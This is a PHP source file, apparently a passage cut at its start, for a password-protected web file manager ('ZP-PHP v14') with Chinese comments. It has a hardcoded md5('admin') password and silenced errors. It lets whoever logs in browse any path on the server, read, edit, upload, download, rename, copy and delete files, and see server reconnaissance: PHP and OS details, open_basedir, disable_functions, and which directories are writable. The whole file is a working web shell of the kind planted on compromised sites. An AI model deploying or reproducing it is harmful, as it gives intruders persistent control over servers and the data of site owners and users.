/ fn() / 标量类型声明) */ error_reporting(0); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); header('Expires: 0'); $K = '21232f297a57a5a743894a0e4a801fc3'; /* md5("admin") */ $TAG = 'zpanel'; $TOK = md5($K . '|zp-tok'); $self = $_SERVER['SCRIPT_NAME']; $root = rtrim(str_replace('\\', '/', dirname(__FILE__)), '/'); /* dirname(__FILE__): PHP 5.1 兼容, __DIR__ 需 5.3+ */ $docroot = rtrim(str_replace('\\', '/', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''), '/'); $BOOK = array(); if ($docroot !== '') $BOOK[] = array('站点根', $docroot); $BOOK[] = array('盘符根', preg_match('#^([a-zA-Z]):#', $root, $zpm) ? strtoupper($zpm[1]) . ':/' : '/'); $BOOK[] = array('服务器根', '/'); function h($s){ return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); } function u($s){ return rawurlencode($s); } function pe($s){ return u(base64_encode($s)); } /* 路径参数 base64 传输 */ /* ===== 权限显示: 可写=绿 / 只读=红 ===== */ function mode_of($p){ $m = @fileperms($p); return $m === false ? '----' : substr(sprintf('%o', $m), -4); } function owner_of($p){ return (string)@fileowner($p) . ':' . (string)@filegroup($p); } function can_w($p){ $t = @file_exists($p) ? $p : dirname($p); clearstatcache(true, $t); if (is_file($t)) { /* 非破坏性探测: 以读写方式打开但不写入任何内容 */ $fh = @fopen($t, 'r+'); if ($fh !== false) { @fclose($fh); return true; } return (bool)@is_writable($t); } if (@is_writable($t)) return true; if (@is_writable($t . '/.')) return true; if (@is_writable($t . '/..')) return true; return false; } function name_color($p){ return can_w($p) ? '#16a34a' : '#dc2626'; } function perm_cell($p){ $w = can_w($p); $c = $w ? '#15803d' : '#dc2626'; $bg = $w ? '#dcfce7' : '#fee2e2'; $t = $w ? '可写' : '只读'; return '' . $t . ''; } function perm_dot($p){ $w = can_w($p); return '■'; } function authed(){ global $TOK, $TAG; return isset($_COOKIE[$TAG]) && $_COOKIE[$TAG] === $TOK; } function norm($p){ $p = str_replace('\\', '/', (string)$p); if ($p === '') return '/'; if (preg_match('#^[a-zA-Z]:$#', $p)) return $p . '/'; return $p; } /* 上级目录: 盘符根(E:/)的上级仍是 E:/, 避免 dirname('E:/') 得到 'E:' 后失去盘符语义 */ function parent_of($dir){ $d = rtrim(str_replace('\\', '/', (string)$dir), '/'); if ($d === '') return '/'; if (preg_match('#^[a-zA-Z]:$#', $d)) return $d . '/'; return norm(dirname($d)); } function resolve($p){ global $root; $p = str_replace('\\', '/', (string)$p); if ($p === '' || $p === '.') return $root; if (preg_match('#^[a-zA-Z]:#', $p) || $p[0] === '/') { $r = rtrim($p, '/'); if ($r === '') return '/'; if (preg_match('#^[a-zA-Z]:$#', $r)) return $r . '/'; return $r; } return $root . '/' . ltrim($p, '/'); } function rel($p){ global $root; $p = str_replace('\\', '/', (string)$p); if (strcasecmp($p, $root) === 0) return '.'; if (stripos($p, $root . '/') === 0) return ltrim(substr($p, strlen($root)), '/'); return $p; } function is_u8($s){ if ($s === '') return true; if (function_exists('mb_check_encoding')) return @mb_check_encoding($s, 'UTF-8'); return preg_match('//u', $s) === 1; } function to_u8($bin){ if (is_u8($bin)) return $bin; if (function_exists('iconv')) { $t = @iconv('GBK', 'UTF-8//IGNORE', $bin); if ($t !== false && $t !== '') return $t; } if (function_exists('mb_convert_encoding')) return @mb_convert_encoding($bin, 'UTF-8', 'GBK'); return $bin; } function from_u8($txt, $enc){ if ($enc !== 'gbk') return $txt; if (function_exists('iconv')) { $t = @iconv('UTF-8', 'GBK//IGNORE', $txt); if ($t !== false) return $t; } if (function_exists('mb_convert_encoding')) return @mb_convert_encoding($txt, 'GBK', 'UTF-8'); return $txt; } function rrmdir($d){ if (!is_dir($d)) return; foreach (scandir($d) as $f) { if ($f === '.' || $f === '..') continue; $p = $d . '/' . $f; if (is_dir($p)) rrmdir($p); else @unlink($p); } @rmdir($d); } /* 面包屑: 每一级都是可点链接(含 Windows 盘符段) —— "点到哪去到哪" */ function crumbs($path){ $p = rtrim(str_replace('\\', '/', (string)$path), '/'); if ($p === '') $p = '/'; $segs = array_values(array_filter(explode('/', $p), 'strlen')); /* Windows: E:/a/b → E:\ 为锚点链接, 其后逐级可点 */ if (isset($segs[0]) && preg_match('#^[a-zA-Z]:$#', $segs[0])) { $drv = strtoupper($segs[0]); array_shift($segs); $out = '' . h($drv) . '\\'; $cur = $drv; $n = count($segs); foreach ($segs as $i => $s) { $cur .= '/' . $s; $out .= '\\'; if ($i === $n - 1) $out .= '' . h($s) . ''; else $out .= '' . h($s) . ''; } return $out; } /* 类 Unix */ $out = '/'; $n = count($segs); $cur = ''; foreach ($segs as $i => $s) { $cur .= '/' . $s; if ($i === $n - 1) $out .= '' . h($s) . ''; else $out .= '' . h($s) . '/'; } return $out; } /* 快捷跳转条 */ function quickbar($dir){ global $BOOK, $root; $items = array(array('面板目录', rtrim($root, '/') === '' ? '/' : $root)); foreach ($BOOK as $b) $items[] = $b; $seen = array(); $out = '
'; foreach ($items as $it) { $p = rtrim($it[1], '/'); if ($p === '') $p = '/'; if (preg_match('#^[a-zA-Z]:$#', $p)) $p .= '/'; if (isset($seen[$p])) continue; $seen[$p] = 1; $cur = (rtrim(str_replace('\\', '/', $dir), '/') === $p); $out .= '[' . h($it[0]) . '] '; } return $out . '
'; } function redir($path, $a){ global $self; header('Location: ' . $self . '?a=' . $a . '&p64=' . pe($path)); exit; } function head($title){ echo '' . h($title) . ' - ZP
ZP-PHP v14 ' . h(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '') . ' SiteInfoExit
'; } function foot(){ echo '
'; } if (isset($_GET['out'])) { setcookie($TAG, '', time() - 3600); header('Location: ' . $self); exit; } if (!authed()) { if (isset($_POST['p']) && md5((string)$_POST['p']) === $K) { setcookie($TAG, $TOK, 0, '/', ''); header('Location: ' . $self . '?a=list'); exit; } head('Login'); echo '
password
'; if (isset($_POST['p'])) echo '

wrong password

'; echo '
'; foot(); exit; } $a = isset($_GET['a']) ? $_GET['a'] : 'list'; $path = ''; if (isset($_GET['p64'])) { $b = str_replace(' ', '+', (string)$_GET['p64']); $d = base64_decode($b); /* strict 参数需 PHP 5.2+, 5.1.6 下恒 false 导致所有路径失效 */ if ($d !== false && $d !== '') $path = $d; elseif (isset($_GET['path'])) $path = (string)$_GET['path']; } elseif (isset($_GET['path'])) { $path = (string)$_GET['path']; } if ($a === 'list' && $path === '') $path = '.'; switch ($a) { case 'list': $dir = resolve($path); head('Files'); echo '
路径 (留空=面板目录; 可输任意绝对路径 如 E:/wwwroot)
' . quickbar($dir) . '
'; if (!is_dir($dir)) { echo '
not a directory: ' . h($dir) . '
'; foot(); exit; } echo '
' . crumbs($dir) . '
'; echo '
当前目录权限: ' . perm_cell($dir) . ' mode ' . h(mode_of($dir)) . ' / owner ' . h((string)@fileowner($dir)) . ':' . h((string)@filegroup($dir)) . ''; echo ' 图例: ' . perm_dot($dir) . ' 绿=可写 ■ 红=只读
'; echo '[上级 ..]' . '[刷新]'; echo '
'; echo '
newdir
'; echo ''; $ds = array(); $fs = array(); foreach (scandir($dir) as $f) { if ($f === '.' || $f === '..') continue; if (is_dir($dir . '/' . $f)) $ds[] = $f; else $fs[] = $f; } sort($ds); sort($fs); foreach ($ds as $d) { $rp = $dir . '/' . $d; echo ''; } foreach ($fs as $f) { $rp = $dir . '/' . $f; echo ''; } echo '
NameSizeModified权限Ops
' . h($d) . '/-' . date('Y-m-d H:i', @filemtime($rp)) . '' . perm_cell($rp) . '' . 'enter' . 'del
' . h($f) . '' . @filesize($rp) . '' . date('Y-m-d H:i', @filemtime($rp)) . '' . perm_cell($rp) . '' . 'dl' . 'ren' . 'copy' . 'del
'; foot(); exit; case 'read': $fp = resolve($path); $bin = @file_get_contents($fp); $u8 = is_u8($bin); $txt = $u8 ? $bin : to_u8($bin); head('Edit'); echo '
' . crumbs(dirname($fp)) . '/' . h(basename($fp)) . '
'; echo '' . h(rel($fp)) . ' (' . strlen($bin) . ' bytes, ' . ($u8 ? 'utf-8' : 'gbk') . ') ' . perm_cell($fp) . ' mode ' . h(mode_of($fp)) . ''; if (!can_w($fp)) echo '
⚠ 该文件为只读,保存 / 删除 / 改名都会失败
'; if (isset($_GET['err'])) echo '
✗ 保存失败:文件不可写,或被主机防篡改策略拒绝
'; elseif (isset($_GET['ok'])) echo '
✓ 已保存
'; echo '
'; echo ' '; echo 'download back
'; foot(); exit; case 'save': $t = isset($_POST['txt']) ? $_POST['txt'] : null; if ($t === null) redir('.', 'list'); $enc = isset($_GET['enc']) ? $_GET['enc'] : 'utf8'; $ok = @file_put_contents(resolve($path), from_u8($t, $enc)); header('Location: ' . $self . '?a=read&p64=' . pe(rel(resolve($path))) . '&enc=' . $enc . ($ok === false ? '&err=1' : '&ok=1')); exit; case 'dl': $fp = resolve($path); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($fp) . '"'); header('Content-Length: ' . @filesize($fp)); @readfile($fp); exit; case 'del': $fp = resolve($path); if (is_file($fp)) @unlink($fp); elseif (is_dir($fp)) rrmdir($fp); redir(rel(parent_of($fp)), 'list'); case 'ren': $fp = resolve($path); $to = isset($_GET['to']) ? (string)$_GET['to'] : ''; if ($to !== '') @rename($fp, dirname($fp) . '/' . basename($to)); redir(rel(dirname($fp)), 'list'); case 'cp': $fp = resolve($path); $to = isset($_GET['to']) ? (string)$_GET['to'] : ''; if ($to === '') { head('Copy'); echo '
copy to
'; foot(); exit; } $dst = dirname($fp) . '/' . basename($to); if (is_dir($fp)) { function rcopy($s, $d){ if (!is_dir($d)) @mkdir($d, 0777, true); foreach (scandir($s) as $f) { if ($f === '.' || $f === '..') continue; $sp = $s . '/' . $f; $dp = $d . '/' . $f; if (is_dir($sp)) rcopy($sp, $dp); else @copy($sp, $dp); } } rcopy($fp, $dst); } else @copy($fp, $dst); redir(rel(dirname($fp)), 'list'); case 'mkdir': $name = isset($_GET['name']) ? (string)$_GET['name'] : ''; if ($name !== '') @mkdir(resolve($path) . '/' . $name, 0777, true); redir(rel(resolve($path)), 'list'); case 'up': $upok = false; $upn = ''; $dst = ''; if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) { $upn = basename($_FILES['f']['name']); $dst = resolve($path) . '/' . $upn; $upok = @move_uploaded_file($_FILES['f']['tmp_name'], $dst); } head('Upload'); echo '
'; if ($upok) { /* 完整物理路径 */ $full = str_replace('\\', '/', $dst); /* 对应的网址: 仅当文件位于站点根之内 */ $url = ''; $dr = rtrim(str_replace('\\', '/', $docroot), '/'); if ($dr !== '' && stripos($full, $dr . '/') === 0) { $rp = substr($full, strlen($dr)); $sch = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $url = $sch . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . $rp; } echo '✓ uploaded: ' . h($upn) . ' (' . (int)$_FILES['f']['size'] . ' bytes)
'; echo '
完整路径
'; echo '
' . h($full) . '
'; if ($url !== '') { echo '
🔗 打开: ' . h($url) . '
'; } else { echo '
⚠ 文件在站点根目录之外,无对应 URL
'; } } else { echo '✗ upload failed — 目标目录 ' . perm_cell(resolve($path)); } echo ' back
'; foot(); exit; case 'info': head('Info'); echo '
PHP ' . PHP_VERSION . "\n" . php_uname() . "\npanel_dir=" . h($root) . "\ndocroot=" . h($docroot) . "\nopen_basedir=" . h((string)ini_get('open_basedir')) . "\ndisable_functions=" . h((string)ini_get('disable_functions')) . "\nuser=" . h(get_current_user()) . '
'; echo '
目录可写性扫描 (绿=可写 / 红=只读)
'; echo ''; $scan = array(); if ($docroot !== '') $scan[] = $docroot; $scan[] = $root; if (is_dir($root)) { foreach (scandir($root) as $f) { if ($f === '.' || $f === '..') continue; if (is_dir($root . '/' . $f)) $scan[] = $root . '/' . $f; } } $seen = array(); foreach ($scan as $p) { if (isset($seen[$p]) || !is_dir($p)) continue; $seen[$p] = 1; echo ''; } echo '
目录modeowner:group权限
' . h(rel($p)) . '/' . h(mode_of($p)) . '' . h((string)@fileowner($p)) . ':' . h((string)@filegroup($p)) . '' . perm_cell($p) . '
'; foot(); exit; default: redir('.', 'list'); }